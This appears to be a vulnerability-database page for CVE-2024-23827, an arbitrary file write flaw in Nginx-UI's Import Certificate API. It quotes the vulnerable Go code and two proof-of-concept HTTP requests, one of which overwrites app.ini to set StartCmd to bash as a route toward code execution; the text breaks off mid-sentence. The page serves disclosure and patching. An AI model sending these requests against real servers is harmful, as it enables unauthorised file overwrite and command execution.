Skip to main content
VulnerabilityPublished Updated

CVE-2024-23827: Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

Affects github.com/0xJacky/Nginx-UISource GCVE Database

0

Not known to be exploited · CVSS 9.8 Critical : upgrade to 1.9.10-0.20240128060047-8581bdd3c6f4 as a priority.

Data as of 26 Oct 2026, 10:12 UTC

CVSS 3.1 base score
9.8Critical
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.7% chance of exploitation in 30 days – higher than 53% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.9.10-0.20240128060047-8581bdd3c6f4
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 29 Jan 2024

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20240128060047-8581bdd3c6f4.

Affected software

ProductAffectedFixed in
Gogithub.com/0xJacky/Nginx-UIAffected
  • <1.9.10-0.20240128060047-8581bdd3c6f4
Fixed in
  • 1.9.10-0.20240128060047-8581bdd3c6f4

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

If you cannot patch yet, restrict access to the Import Certificate API endpoint to trusted users only and monitor for suspicious activity related to file writes. Avoid exposing the service to untrusted networks.

Description

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be appl

References

Community reviews

Loading reviews…